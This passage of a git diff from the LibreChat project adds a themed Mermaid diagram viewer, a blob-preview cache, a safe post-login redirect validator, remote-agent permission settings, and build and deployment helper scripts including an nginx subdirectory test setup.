const textFill = textEl.getAttribute('fill') || ''; + const textStyle = textEl.getAttribute('style') || ''; + const textStyleFill = textStyle.match(/fill\s*:\s*(#[0-9a-fA-F]{3,8})/); + const currentHex = textStyleFill?.[1] ?? (textFill.startsWith('#') ? textFill : ''); + const isLightBg = bgLum > 0.5; + + let newFill = ''; + if (!currentHex) { + if (isLightBg) { + newFill = '#1a1a1a'; + } + } else { + const textLum = hexLuminance(currentHex); + if (textLum < 0) { + continue; + } + if (isLightBg && textLum > 0.5) { + newFill = '#1a1a1a'; + } else if (!isLightBg && textLum < 0.4) { + newFill = '#f0f0f0'; + } + } + + if (newFill) { + let sep = ''; + if (textStyle) { + sep = textStyle.trimEnd().endsWith(';') ? ' ' : '; '; + } + textEl.setAttribute('style', `${textStyle}${sep}fill: ${newFill}`); + } + } + } +}; + +const buildMermaidComponent = ( + mermaidTheme: string, + bgColor: string, + btnStyles: MermaidButtonStyles, +) => + dedent(`import React, { useEffect, useRef, useState, useCallback } from "react"; import { TransformWrapper, TransformComponent, ReactZoomPanPinchRef, } from "react-zoom-pan-pinch"; import mermaid from "mermaid"; -import { Button } from "/components/ui/button"; -const ZoomIn = () => ( +const ZoomInIcon = () => ( @@ -18,7 +160,7 @@ const ZoomIn = () => ( ); -const ZoomOut = () => ( +const ZoomOutIcon = () => ( @@ -26,90 +168,147 @@ const ZoomOut = () => ( ); -const RefreshCw = () => ( +const ResetIcon = () => ( - - - - + + ); +const CopyIcon = () => ( + + + + +); + +const CheckIcon = () => ( + + + +); + +const btnBase = { + display: "inline-flex", + alignItems: "center", + justifyContent: "center", + width: "28px", + height: "28px", + borderRadius: "4px", + background: "transparent", + border: "none", + color: "${btnStyles.text}", + cursor: "pointer", + padding: "6px", + transition: "background 0.15s ease", +}; + +const btnHover = { + ...btnBase, + background: "${btnStyles.bgHover}", +}; + +const toolbarStyle = { + position: "absolute", + bottom: "12px", + right: "12px", + display: "flex", + alignItems: "center", + gap: "2px", + padding: "4px", + borderRadius: "8px", + background: "${btnStyles.bg}", + boxShadow: "${btnStyles.shadow}", + backdropFilter: "blur(8px)", + border: "${btnStyles.border}", + zIndex: 10, +}; + +const dividerStyle = { + width: "1px", + height: "16px", + background: "${btnStyles.divider}", + margin: "0 4px", +}; + +const zoomTextStyle = { + minWidth: "3rem", + textAlign: "center", + fontSize: "12px", + color: "${btnStyles.textSecondary}", + userSelect: "none", + fontFamily: "system-ui, -apple-system, sans-serif", +}; + interface MermaidDiagramProps { content: string; } +interface IconButtonProps { + onClick: () => void; + children: React.ReactNode; + title: string; + disabled?: boolean; +} + +const IconButton = ({ onClick, children, title, disabled = false }: IconButtonProps) => { + const [hovered, setHovered] = useState(false); + return ( + + ); +}; + +const ZOOM_STEP = 0.1; +const MIN_SCALE = 0.1; +const MAX_SCALE = 10; + const MermaidDiagram: React.FC = ({ content }) => { const mermaidRef = useRef(null); const transformRef = useRef(null); const [isRendered, setIsRendered] = useState(false); + const [zoomLevel, setZoomLevel] = useState(100); + const [copied, setCopied] = useState(false); useEffect(() => { mermaid.initialize({ startOnLoad: false, - theme: "base", - themeVariables: { - background: "#282C34", - primaryColor: "#333842", - secondaryColor: "#333842", - tertiaryColor: "#333842", - primaryTextColor: "#ABB2BF", - secondaryTextColor: "#ABB2BF", - lineColor: "#636D83", - fontSize: "16px", - nodeBorder: "#636D83", - mainBkg: '#282C34', - altBackground: '#282C34', - textColor: '#ABB2BF', - edgeLabelBackground: '#282C34', - clusterBkg: '#282C34', - clusterBorder: "#636D83", - labelBoxBkgColor: "#333842", - labelBoxBorderColor: "#636D83", - labelTextColor: "#ABB2BF", - }, - flowchart: { - curve: "basis", - nodeSpacing: 50, - rankSpacing: 50, - diagramPadding: 8, - htmlLabels: true, - useMaxWidth: true, - padding: 15, - wrappingWidth: 200, - }, + theme: "${mermaidTheme}", + securityLevel: "strict", + flowchart: ${JSON.stringify(artifactFlowchartConfig, null, 8)}, }); const renderDiagram = async () => { - if (mermaidRef.current) { - try { - const { svg } = await mermaid.render("mermaid-diagram", content); - mermaidRef.current.innerHTML = svg; + if (!mermaidRef.current) { + return; + } + try { + const { svg } = await mermaid.render("mermaid-diagram", content); + mermaidRef.current.innerHTML = svg; - const svgElement = mermaidRef.current.querySelector("svg"); - if (svgElement) { - svgElement.style.width = "100%"; - svgElement.style.height = "100%"; - - const pathElements = svgElement.querySelectorAll("path"); - pathElements.forEach((path) => { - path.style.strokeWidth = "1.5px"; - }); - - const rectElements = svgElement.querySelectorAll("rect"); - rectElements.forEach((rect) => { - const parent = rect.parentElement; - if (parent && parent.classList.contains("node")) { - rect.style.stroke = "#636D83"; - rect.style.strokeWidth = "1px"; - } else { - rect.style.stroke = "none"; - } - }); - } - setIsRendered(true); - } catch (error) { - console.error("Mermaid rendering error:", error); + const svgElement = mermaidRef.current.querySelector("svg"); + if (svgElement) { + svgElement.style.width = "100%"; + svgElement.style.height = "100%"; + } + setIsRendered(true); + } catch (error) { + console.error("Mermaid rendering error:", error); + if (mermaidRef.current) { mermaidRef.current.innerHTML = "Error rendering diagram"; } } @@ -118,72 +317,90 @@ const MermaidDiagram: React.FC = ({ content }) => { renderDiagram(); }, [content]); - const centerAndFitDiagram = () => { + const centerAndFitDiagram = useCallback(() => { if (transformRef.current && mermaidRef.current) { const { centerView, zoomToElement } = transformRef.current; - zoomToElement(mermaidRef.current as HTMLElement); + zoomToElement(mermaidRef.current); centerView(1, 0); + setZoomLevel(100); } - }; + }, []); useEffect(() => { if (isRendered) { centerAndFitDiagram(); } - }, [isRendered]); + }, [isRendered, centerAndFitDiagram]); - const handlePanning = () => { - if (transformRef.current) { - const { state, instance } = transformRef.current; - if (!state) { - return; - } - const { scale, positionX, positionY } = state; - const { wrapperComponent, contentComponent } = instance; - - if (wrapperComponent && contentComponent) { - const wrapperRect = wrapperComponent.getBoundingClientRect(); - const contentRect = contentComponent.getBoundingClientRect(); - const maxX = wrapperRect.width - contentRect.width * scale; - const maxY = wrapperRect.height - contentRect.height * scale; - - let newX = positionX; - let newY = positionY; - - if (newX > 0) { - newX = 0; - } - if (newY > 0) { - newY = 0; - } - if (newX < maxX) { - newX = maxX; - } - if (newY < maxY) { - newY = maxY; - } - - if (newX !== positionX || newY !== positionY) { - instance.setTransformState(scale, newX, newY); - } - } + const handleTransform = useCallback((ref) => { + if (ref && ref.state) { + setZoomLevel(Math.round(ref.state.scale * 100)); } - }; + }, []); + + const handleCopy = useCallback(() => { + navigator.clipboard.writeText(content).then(() => { + setCopied(true); + setTimeout(() => setCopied(false), 2000); + }).catch(() => {}); + }, [content]); + + const handlePanning = useCallback(() => { + if (!transformRef.current) { + return; + } + const { state, instance } = transformRef.current; + if (!state) { + return; + } + const { scale, positionX, positionY } = state; + const { wrapperComponent, contentComponent } = instance; + + if (!wrapperComponent || !contentComponent) { + return; + } + + const wrapperRect = wrapperComponent.getBoundingClientRect(); + const contentRect = contentComponent.getBoundingClientRect(); + const maxX = wrapperRect.width - contentRect.width * scale; + const maxY = wrapperRect.height - contentRect.height * scale; + + let newX = positionX; + let newY = positionY; + + if (newX > 0) { + newX = 0; + } + if (newY > 0) { + newY = 0; + } + if (newX < maxX) { + newX = maxX; + } + if (newY < maxY) { + newY = maxY; + } + + if (newX !== positionX || newY !== positionY) { + instance.setTransformState(scale, newX, newY); + } + }, []); return ( -
+
{({ zoomIn, zoomOut }) => ( <> @@ -204,24 +421,22 @@ const MermaidDiagram: React.FC = ({ content }) => { }} /> -
- - - +
+ zoomOut(ZOOM_STEP)} title="Zoom out"> + + + {zoomLevel}% + zoomIn(ZOOM_STEP)} title="Zoom in"> + + +
+ + + +
+ + {copied ? : } +
)} @@ -242,13 +457,16 @@ export default App = () => ( `); }; -const mermaidCSS = ` +export const getMermaidFiles = (content: string, isDarkMode = true) => { + const mermaidTheme = isDarkMode ? 'dark' : 'neutral'; + const btnStyles = getButtonStyles(isDarkMode); + const bgColor = isDarkMode ? '#212121' : '#FFFFFF'; + const mermaidCSS = ` body { - background-color: #282C34; + background-color: ${bgColor}; } `; -export const getMermaidFiles = (content: string) => { return { 'diagram.mmd': content || '# No mermaid diagram content provided', 'App.tsx': wrapMermaidDiagram(content), @@ -262,7 +480,7 @@ import App from "./App"; const root = createRoot(document.getElementById("root")); root.render(); ;`), - '/components/ui/MermaidDiagram.tsx': mermaid, + '/components/ui/MermaidDiagram.tsx': buildMermaidComponent(mermaidTheme, bgColor, btnStyles), 'mermaid.css': mermaidCSS, }; }; diff --git a/client/src/utils/previewCache.ts b/client/src/utils/previewCache.ts new file mode 100644 index 0000000000..604ce56308 --- /dev/null +++ b/client/src/utils/previewCache.ts @@ -0,0 +1,35 @@ +/** + * Module-level cache for local blob preview URLs keyed by file_id. + * Survives message replacements from SSE but clears on page refresh. + */ +const previewCache = new Map(); + +export function cachePreview(fileId: string, previewUrl: string): void { + const existing = previewCache.get(fileId); + if (existing && existing !== previewUrl) { + URL.revokeObjectURL(existing); + } + previewCache.set(fileId, previewUrl); +} + +export function getCachedPreview(fileId: string): string | undefined { + return previewCache.get(fileId); +} + +/** Removes the cache entry without revoking the blob (used when transferring between keys) */ +export function removePreviewEntry(fileId: string): void { + previewCache.delete(fileId); +} + +export function deletePreview(fileId: string): void { + const url = previewCache.get(fileId); + if (url) { + URL.revokeObjectURL(url); + previewCache.delete(fileId); + } +} + +export function clearPreviewCache(): void { + previewCache.forEach((url) => URL.revokeObjectURL(url)); + previewCache.clear(); +} diff --git a/client/src/utils/redirect.ts b/client/src/utils/redirect.ts new file mode 100644 index 0000000000..22b28d8a15 --- /dev/null +++ b/client/src/utils/redirect.ts @@ -0,0 +1,41 @@ +export const REDIRECT_PARAM = 'redirect_to'; +export const SESSION_KEY = 'post_login_redirect_to'; + +/** Matches `/login` as a full path segment, with optional basename prefix (e.g. `/librechat/login/2fa`) */ +const LOGIN_PATH_RE = /(?:^|\/)login(?:\/|$)/; + +/** Validates that a redirect target is a safe relative path (not an absolute or protocol-relative URL) */ +export function isSafeRedirect(url: string): boolean { + if (!url.startsWith('/') || url.startsWith('//')) { + return false; + } + const path = url.split('?')[0].split('#')[0]; + return !LOGIN_PATH_RE.test(path); +} + +/** + * Resolves the post-login redirect from URL params and sessionStorage, + * cleans up both sources, and returns the validated target (or null). + */ +export function getPostLoginRedirect(searchParams: URLSearchParams): string | null { + const urlRedirect = searchParams.get(REDIRECT_PARAM); + const storedRedirect = sessionStorage.getItem(SESSION_KEY); + + const target = urlRedirect ?? storedRedirect; + + if (storedRedirect) { + sessionStorage.removeItem(SESSION_KEY); + } + + if (target == null || !isSafeRedirect(target)) { + return null; + } + + return target; +} + +export function persistRedirectToSession(value: string): void { + if (isSafeRedirect(value)) { + sessionStorage.setItem(SESSION_KEY, value); + } +} diff --git a/client/src/utils/resources.ts b/client/src/utils/resources.ts index f7c3586dfb..7a1e2b86c1 100644 --- a/client/src/utils/resources.ts +++ b/client/src/utils/resources.ts @@ -19,10 +19,10 @@ export const RESOURCE_CONFIGS: Record = { defaultEditorRoleId: AccessRoleIds.AGENT_EDITOR, defaultOwnerRoleId: AccessRoleIds.AGENT_OWNER, getResourceUrl: (agentId: string) => `${window.location.origin}/c/new?agent_id=${agentId}`, - getResourceName: (name?: string) => (name && name !== '' ? `"${name}"` : 'agent'), - getShareMessage: (name?: string) => (name && name !== '' ? `"${name}"` : 'agent'), + getResourceName: (name?: string) => (name && name !== '' ? name : 'agent'), + getShareMessage: (name?: string) => (name && name !== '' ? name : 'agent'), getManageMessage: (name?: string) => - `Manage permissions for ${name && name !== '' ? `"${name}"` : 'agent'}`, + `Manage permissions for ${name && name !== '' ? name : 'agent'}`, getCopyUrlMessage: () => 'Agent URL copied', }, [ResourceType.PROMPTGROUP]: { @@ -30,10 +30,10 @@ export const RESOURCE_CONFIGS: Record = { defaultViewerRoleId: AccessRoleIds.PROMPTGROUP_VIEWER, defaultEditorRoleId: AccessRoleIds.PROMPTGROUP_EDITOR, defaultOwnerRoleId: AccessRoleIds.PROMPTGROUP_OWNER, - getResourceName: (name?: string) => (name && name !== '' ? `"${name}"` : 'prompt'), - getShareMessage: (name?: string) => (name && name !== '' ? `"${name}"` : 'prompt'), + getResourceName: (name?: string) => (name && name !== '' ? name : 'prompt'), + getShareMessage: (name?: string) => (name && name !== '' ? name : 'prompt'), getManageMessage: (name?: string) => - `Manage permissions for ${name && name !== '' ? `"${name}"` : 'prompt'}`, + `Manage permissions for ${name && name !== '' ? name : 'prompt'}`, getCopyUrlMessage: () => 'Prompt URL copied', }, [ResourceType.MCPSERVER]: { @@ -41,12 +41,25 @@ export const RESOURCE_CONFIGS: Record = { defaultViewerRoleId: AccessRoleIds.MCPSERVER_VIEWER, defaultEditorRoleId: AccessRoleIds.MCPSERVER_EDITOR, defaultOwnerRoleId: AccessRoleIds.MCPSERVER_OWNER, - getResourceName: (name?: string) => (name && name !== '' ? `"${name}"` : 'MCP server'), - getShareMessage: (name?: string) => (name && name !== '' ? `"${name}"` : 'MCP server'), + getResourceName: (name?: string) => (name && name !== '' ? name : 'MCP server'), + getShareMessage: (name?: string) => (name && name !== '' ? name : 'MCP server'), getManageMessage: (name?: string) => - `Manage permissions for ${name && name !== '' ? `"${name}"` : 'MCP server'}`, + `Manage permissions for ${name && name !== '' ? name : 'MCP server'}`, getCopyUrlMessage: () => 'MCP Server URL copied', }, + [ResourceType.REMOTE_AGENT]: { + resourceType: ResourceType.REMOTE_AGENT, + defaultViewerRoleId: AccessRoleIds.REMOTE_AGENT_VIEWER, + defaultEditorRoleId: AccessRoleIds.REMOTE_AGENT_EDITOR, + defaultOwnerRoleId: AccessRoleIds.REMOTE_AGENT_OWNER, + getResourceUrl: () => `${window.location.origin}/api/v1/responses`, + getResourceName: (name?: string) => (name && name !== '' ? `"${name}"` : 'remote agent'), + getShareMessage: (name?: string) => + name && name !== '' ? `"${name}" (API Access)` : 'remote agent access', + getManageMessage: (name?: string) => + `Manage API access for ${name && name !== '' ? `"${name}"` : 'agent'}`, + getCopyUrlMessage: () => 'API endpoint copied', + }, }; export const getResourceConfig = (resourceType: ResourceType): ResourceConfig | undefined => { diff --git a/client/src/utils/roles.ts b/client/src/utils/roles.ts index 8bc38b7d52..1e8cb3d3b2 100644 --- a/client/src/utils/roles.ts +++ b/client/src/utils/roles.ts @@ -48,6 +48,18 @@ export const ROLE_LOCALIZATIONS = { name: 'com_ui_mcp_server_role_owner' as const, description: 'com_ui_mcp_server_role_owner_desc' as const, } as const, + remoteAgent_viewer: { + name: 'com_ui_remote_agent_role_viewer' as const, + description: 'com_ui_remote_agent_role_viewer_desc' as const, + } as const, + remoteAgent_editor: { + name: 'com_ui_remote_agent_role_editor' as const, + description: 'com_ui_remote_agent_role_editor_desc' as const, + } as const, + remoteAgent_owner: { + name: 'com_ui_remote_agent_role_owner' as const, + description: 'com_ui_remote_agent_role_owner_desc' as const, + } as const, }; /** diff --git a/client/src/utils/scaleImage.ts b/client/src/utils/scaleImage.ts deleted file mode 100644 index 11e051fbd9..0000000000 --- a/client/src/utils/scaleImage.ts +++ /dev/null @@ -1,21 +0,0 @@ -export default function scaleImage({ - originalWidth, - originalHeight, - containerRef, -}: { - originalWidth?: number; - originalHeight?: number; - containerRef: React.RefObject; -}) { - const containerWidth = containerRef.current?.offsetWidth ?? 0; - - if (containerWidth === 0 || originalWidth == null || originalHeight == null) { - return { width: 'auto', height: 'auto' }; - } - - const aspectRatio = originalWidth / originalHeight; - const scaledWidth = Math.min(containerWidth, originalWidth); - const scaledHeight = scaledWidth / aspectRatio; - - return { width: `${scaledWidth}px`, height: `${scaledHeight}px` }; -} diff --git a/client/tailwind.config.cjs b/client/tailwind.config.cjs index c30d2ca703..624998e9d8 100644 --- a/client/tailwind.config.cjs +++ b/client/tailwind.config.cjs @@ -92,6 +92,7 @@ module.exports = { 'text-secondary-alt': 'var(--text-secondary-alt)', 'text-tertiary': 'var(--text-tertiary)', 'text-warning': 'var(--text-warning)', + 'text-destructive': 'var(--text-destructive)', 'ring-primary': 'var(--ring-primary)', 'header-primary': 'var(--header-primary)', 'header-hover': 'var(--header-hover)', @@ -118,6 +119,7 @@ module.exports = { 'border-medium-alt': 'var(--border-medium-alt)', 'border-heavy': 'var(--border-heavy)', 'border-xheavy': 'var(--border-xheavy)', + 'border-destructive': 'var(--border-destructive)', /* These are test styles */ border: 'hsl(var(--border))', input: 'hsl(var(--input))', diff --git a/client/vite.config.ts b/client/vite.config.ts index b3f6541ab3..58d4bc98f2 100644 --- a/client/vite.config.ts +++ b/client/vite.config.ts @@ -1,22 +1,46 @@ import react from '@vitejs/plugin-react'; -// @ts-ignore import path from 'path'; -import type { Plugin } from 'vite'; import { defineConfig } from 'vite'; +import { createRequire } from 'module'; +import { VitePWA } from 'vite-plugin-pwa'; import { compression } from 'vite-plugin-compression2'; import { nodePolyfills } from 'vite-plugin-node-polyfills'; -import { VitePWA } from 'vite-plugin-pwa'; +import type { Plugin } from 'vite'; + +const require = createRequire(import.meta.url); + +/** + * vite-plugin-node-polyfills uses @rollup/plugin-inject to replace bare globals (e.g. `process`) + * with imports like `import process from 'vite-plugin-node-polyfills/shims/process'`. When the + * consuming module (e.g. recoil) is hoisted to the monorepo root, Vite 7's ESM resolver walks up + * from there and never finds the shims (installed only in client/node_modules). This map resolves + * the shim specifiers to absolute paths via CJS require.resolve anchored to the client directory. + */ +const NODE_POLYFILL_SHIMS: Record = { + 'vite-plugin-node-polyfills/shims/process': require.resolve( + 'vite-plugin-node-polyfills/shims/process', + ), + 'vite-plugin-node-polyfills/shims/buffer': require.resolve( + 'vite-plugin-node-polyfills/shims/buffer', + ), + 'vite-plugin-node-polyfills/shims/global': require.resolve( + 'vite-plugin-node-polyfills/shims/global', + ), +}; // https://vitejs.dev/config/ -const backendPort = process.env.BACKEND_PORT && Number(process.env.BACKEND_PORT) || 3080; -const backendURL = process.env.HOST ? `http://${process.env.HOST}:${backendPort}` : `http://localhost:${backendPort}`; +const backendPort = (process.env.BACKEND_PORT && Number(process.env.BACKEND_PORT)) || 3080; +const backendURL = process.env.HOST + ? `http://${process.env.HOST}:${backendPort}` + : `http://localhost:${backendPort}`; export default defineConfig(({ command }) => ({ base: '', server: { - allowedHosts: process.env.VITE_ALLOWED_HOSTS && process.env.VITE_ALLOWED_HOSTS.split(',') || [], + allowedHosts: + (process.env.VITE_ALLOWED_HOSTS && process.env.VITE_ALLOWED_HOSTS.split(',')) || [], host: process.env.HOST || 'localhost', - port: process.env.PORT && Number(process.env.PORT) || 3090, + port: (process.env.PORT && Number(process.env.PORT)) || 3090, strictPort: false, proxy: { '/api': { @@ -34,6 +58,12 @@ export default defineConfig(({ command }) => ({ envPrefix: ['VITE_', 'SCRIPT_', 'DOMAIN_', 'ALLOW_'], plugins: [ react(), + { + name: 'node-polyfills-shims-resolver', + resolveId(id) { + return NODE_POLYFILL_SHIMS[id] ?? null; + }, + }, nodePolyfills(), VitePWA({ injectRegister: 'auto', // 'auto' | 'manual' | 'disabled' @@ -143,7 +173,12 @@ export default defineConfig(({ command }) => ({ if (normalizedId.includes('@dicebear')) { return 'avatars'; } - if (normalizedId.includes('react-dnd') || normalizedId.includes('react-flip-toolkit')) { + if ( + normalizedId.includes('react-dnd') || + normalizedId.includes('dnd-core') || + normalizedId.includes('react-flip-toolkit') || + normalizedId.includes('flip-toolkit') + ) { return 'react-interactions'; } if (normalizedId.includes('react-hook-form')) { @@ -219,7 +254,10 @@ export default defineConfig(({ command }) => ({ if (normalizedId.includes('framer-motion')) { return 'framer-motion'; } - if (normalizedId.includes('node_modules/highlight.js')) { + if ( + normalizedId.includes('node_modules/highlight.js') || + normalizedId.includes('node_modules/lowlight') + ) { return 'markdown_highlight'; } if (normalizedId.includes('katex') || normalizedId.includes('node_modules/katex')) { diff --git a/config/delete-user.js b/config/delete-user.js index 2d4dea0b37..5ad85577a4 100644 --- a/config/delete-user.js +++ b/config/delete-user.js @@ -23,6 +23,7 @@ const { PluginAuth, MemoryEntry, PromptGroup, + AgentApiKey, Transaction, Conversation, ConversationTag, @@ -79,6 +80,7 @@ async function gracefulExit(code = 0) { const tasks = [ Action.deleteMany({ user: uid }), Agent.deleteMany({ author: uid }), + AgentApiKey.deleteMany({ user: uid }), Assistant.deleteMany({ user: uid }), Balance.deleteMany({ user: uid }), ConversationTag.deleteMany({ user: uid }), diff --git a/config/deployed-update.js b/config/deployed-update.js index a95f97bc7b..7ce6eb106d 100644 --- a/config/deployed-update.js +++ b/config/deployed-update.js @@ -29,7 +29,7 @@ const shouldRebase = process.argv.includes('--rebase'); execSync('git checkout main', { stdio: 'inherit' }); console.purple('Pulling the latest code from main...'); execSync('git pull origin main', { stdio: 'inherit' }); - } else if (shouldRebase) { + } else { const currentBranch = getCurrentBranch(); console.purple(`Rebasing ${currentBranch} onto main...`); execSync('git rebase origin/main', { stdio: 'inherit' }); @@ -41,13 +41,16 @@ const shouldRebase = process.argv.includes('--rebase'); execSync(downCommand, { stdio: 'inherit' }); console.purple('Removing all tags for LibreChat `deployed` images...'); - const repositories = ['ghcr.io/danny-avila/librechat-dev-api', 'librechat-client']; + const repositories = ['registry.librechat.ai/danny-avila/librechat-dev-api', 'librechat-client']; repositories.forEach((repo) => { - const tags = execSync(`sudo docker images ${repo} -q`, { encoding: 'utf8' }) + const imageRefs = execSync(`sudo docker images ${repo} --format "{{.Repository}}:{{.Tag}}"`, { + encoding: 'utf8', + }) .split('\n') - .filter(Boolean); - tags.forEach((tag) => { - const removeImageCommand = `sudo docker rmi ${tag}`; + .filter(Boolean) + .filter((ref) => !ref.includes('')); + imageRefs.forEach((imageRef) => { + const removeImageCommand = `sudo docker rmi ${imageRef}`; console.orange(removeImageCommand); execSync(removeImageCommand, { stdio: 'inherit' }); }); @@ -58,11 +61,14 @@ const shouldRebase = process.argv.includes('--rebase'); console.orange(pullCommand); execSync(pullCommand, { stdio: 'inherit' }); - let startCommand = 'sudo docker compose -f ./deploy-compose.yml up -d'; + const startCommand = 'sudo docker compose -f ./deploy-compose.yml up -d'; console.green('Your LibreChat app is now up to date! Start the app with the following command:'); console.purple(startCommand); console.orange( "Note: it's also recommended to clear your browser cookies and localStorage for LibreChat to assure a fully clean installation.", ); console.orange("Also: Don't worry, your data is safe :)"); -})(); +})().catch((err) => { + console.error('Update script failed:', err.message); + process.exit(1); +}); diff --git a/config/smart-reinstall.js b/config/smart-reinstall.js new file mode 100644 index 0000000000..f22bb25151 --- /dev/null +++ b/config/smart-reinstall.js @@ -0,0 +1,181 @@ +#!/usr/bin/env node +/** + * Smart Reinstall for LibreChat + * + * Combines cached dependency installation with Turborepo-powered builds. + * + * Dependencies (npm ci): + * Hashes package-lock.json and stores a marker in node_modules. + * Skips npm ci entirely when the lockfile hasn't changed. + * + * Package builds (Turborepo): + * Turbo hashes each package's source/config inputs (including the + * lockfile), caches build outputs (dist/), and restores from cache + * when inputs match. This script delegates entirely to turbo for builds. + * + * Usage: + * npm run smart-reinstall # Smart cached mode + * npm run smart-reinstall -- --force # Full clean reinstall, bust all caches + * npm run smart-reinstall -- --skip-client # Skip frontend (Vite) build + * npm run smart-reinstall -- --clean-cache # Wipe turbo build cache + * npm run smart-reinstall -- --verbose # Turbo verbose output + */ + +const crypto = require('crypto'); +const fs = require('fs'); +const path = require('path'); +const { execSync } = require('child_process'); + +require('./helpers'); + +const ROOT_DIR = path.resolve(__dirname, '..'); +const DEPS_HASH_MARKER = path.join(ROOT_DIR, 'node_modules', '.librechat-deps-hash'); + +const flags = { + force: process.argv.includes('--force'), + cleanCache: process.argv.includes('--clean-cache'), + skipClient: process.argv.includes('--skip-client'), + verbose: process.argv.includes('--verbose'), +}; + +const NODE_MODULES_DIRS = [ + ROOT_DIR, + path.join(ROOT_DIR, 'packages', 'data-provider'), + path.join(ROOT_DIR, 'packages', 'data-schemas'), + path.join(ROOT_DIR, 'packages', 'client'), + path.join(ROOT_DIR, 'packages', 'api'), + path.join(ROOT_DIR, 'client'), + path.join(ROOT_DIR, 'api'), +]; + +function hashFile(filePath) { + return crypto.createHash('sha256').update(fs.readFileSync(filePath)).digest('hex').slice(0, 16); +} + +function exec(cmd, opts = {}) { + execSync(cmd, { cwd: ROOT_DIR, stdio: 'inherit', ...opts }); +} + +function checkDeps() { + const lockfile = path.join(ROOT_DIR, 'package-lock.json'); + if (!fs.existsSync(lockfile)) { + return { needsInstall: true, hash: 'missing' }; + } + + const hash = hashFile(lockfile); + + if (!fs.existsSync(path.join(ROOT_DIR, 'node_modules'))) { + return { needsInstall: true, hash }; + } + if (!fs.existsSync(DEPS_HASH_MARKER)) { + return { needsInstall: true, hash }; + } + + const stored = fs.readFileSync(DEPS_HASH_MARKER, 'utf-8').trim(); + return { needsInstall: stored !== hash, hash }; +} + +function installDeps(hash) { + const { deleteNodeModules } = require('./helpers'); + NODE_MODULES_DIRS.forEach(deleteNodeModules); + + console.purple('Cleaning npm cache...'); + exec('npm cache clean --force'); + + console.purple('Installing dependencies (npm ci)...'); + exec('npm ci'); + + fs.writeFileSync(DEPS_HASH_MARKER, hash, 'utf-8'); +} + +function runTurboBuild() { + const args = ['npx', 'turbo', 'run', 'build']; + + if (flags.skipClient) { + args.push('--filter=!@librechat/frontend'); + } + if (flags.force) { + args.push('--force'); + } + if (flags.verbose) { + args.push('--verbosity=2'); + } + + const cmd = args.join(' '); + console.gray(` ${cmd}\n`); + exec(cmd); +} + +function cleanTurboCache() { + console.purple('Clearing Turborepo cache...'); + try { + exec('npx turbo daemon stop', { stdio: 'pipe' }); + } catch { + // daemon may not be running + } + + const localTurboCache = path.join(ROOT_DIR, '.turbo'); + if (fs.existsSync(localTurboCache)) { + fs.rmSync(localTurboCache, { recursive: true }); + } + + try { + exec('npx turbo clean', { stdio: 'pipe' }); + console.green('Turbo cache cleared.'); + } catch { + console.gray('Could not clear global turbo cache (may not exist yet).'); + } +} + +(async () => { + const startTime = Date.now(); + + console.green('\n Smart Reinstall — LibreChat'); + console.green('─'.repeat(45)); + + if (flags.cleanCache) { + cleanTurboCache(); + if (!flags.force) { + return; + } + } + + // Step 1: Dependencies + console.purple('\n[1/2] Checking dependencies...'); + + if (flags.force) { + console.orange(' Force mode — reinstalling all dependencies'); + const lockfile = path.join(ROOT_DIR, 'package-lock.json'); + const hash = fs.existsSync(lockfile) ? hashFile(lockfile) : 'none'; + installDeps(hash); + console.green(' Dependencies installed.'); + } else { + const { needsInstall, hash } = checkDeps(); + if (needsInstall) { + console.orange(' package-lock.json changed or node_modules missing'); + installDeps(hash); + console.green(' Dependencies installed.'); + } else { + console.green(' Dependencies up to date — skipping npm ci'); + } + } + + // Step 2: Build via Turborepo + console.purple('\n[2/2] Building packages...'); + runTurboBuild(); + + const elapsed = ((Date.now() - startTime) / 1000).toFixed(1); + console.log(''); + console.green('─'.repeat(45)); + console.green(` Done (${elapsed}s)`); + console.green(' Start the app with: npm run backend'); + console.green('─'.repeat(45)); +})().catch((err) => { + console.red(`\nError: ${err.message}`); + if (flags.verbose) { + console.red(err.stack); + } + console.gray(' Tip: run with --force to clean all caches and reinstall from scratch'); + console.gray(' Tip: run with --verbose for detailed output'); + process.exit(1); +}); diff --git a/config/test-subdirectory-setup.sh b/config/test-subdirectory-setup.sh new file mode 100644 index 0000000000..aafe84ce13 --- /dev/null +++ b/config/test-subdirectory-setup.sh @@ -0,0 +1,144 @@ +#!/usr/bin/env bash +# ============================================================================= +# Test script for verifying subdirectory deployment (e.g., /chat/) +# +# Prerequisites: +# - nginx installed: sudo apt install nginx +# - LibreChat built: npm run build +# - Backend running: npm run backend (serves built SPA + API on port 3080) +# +# Usage: +# 1. Build + start: npm run build && npm run backend +# 2. Run this script: bash config/test-subdirectory-setup.sh start +# 3. Open browser: http://localhost:8080/chat/ +# 4. Cleanup: bash config/test-subdirectory-setup.sh stop +# +# What to verify: +# - Accessing http://localhost:8080/chat/ should redirect to /chat/login +# (NOT /chat/chat/login) +# - After login, navigating to protected routes should work +# - Logging out and being redirected should not double the path +# ============================================================================= + +set -euo pipefail + +REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)" +NGINX_CONF="/tmp/librechat-subdir-test-nginx.conf" +NGINX_PID="/tmp/librechat-subdir-test-nginx.pid" + +ENV_FILE="${REPO_ROOT}/.env" + +write_nginx_conf() { + cat > "$NGINX_CONF" << 'NGINX' +worker_processes 1; +pid /tmp/librechat-subdir-test-nginx.pid; +error_log /tmp/librechat-subdir-test-nginx-error.log warn; + +events { + worker_connections 64; +} + +http { + access_log /tmp/librechat-subdir-test-nginx-access.log; + + map $http_upgrade $connection_upgrade { + default upgrade; + '' close; + } + + server { + listen 8080; + server_name localhost; + + # Subdirectory proxy: strip /chat/ prefix and forward to backend + location /chat/ { + proxy_pass http://127.0.0.1:3080/; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection $connection_upgrade; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_cache_bypass $http_upgrade; + } + + # Redirect bare /chat to /chat/ + location = /chat { + return 301 /chat/; + } + } +} +NGINX +} + +start() { + echo "--- Setting up subdirectory test environment ---" + + # Backup .env if it exists and doesn't have our marker + if [ -f "$ENV_FILE" ] && ! grep -q '## SUBDIR_TEST_MARKER' "$ENV_FILE"; then + cp "$ENV_FILE" "${ENV_FILE}.bak-subdir-test" + echo "Backed up .env to .env.bak-subdir-test" + fi + + # Ensure DOMAIN_CLIENT and DOMAIN_SERVER are set for subdirectory + if ! grep -q 'DOMAIN_CLIENT=http://localhost:8080/chat' "$ENV_FILE" 2>/dev/null; then + echo "" + echo "You need to set these in your 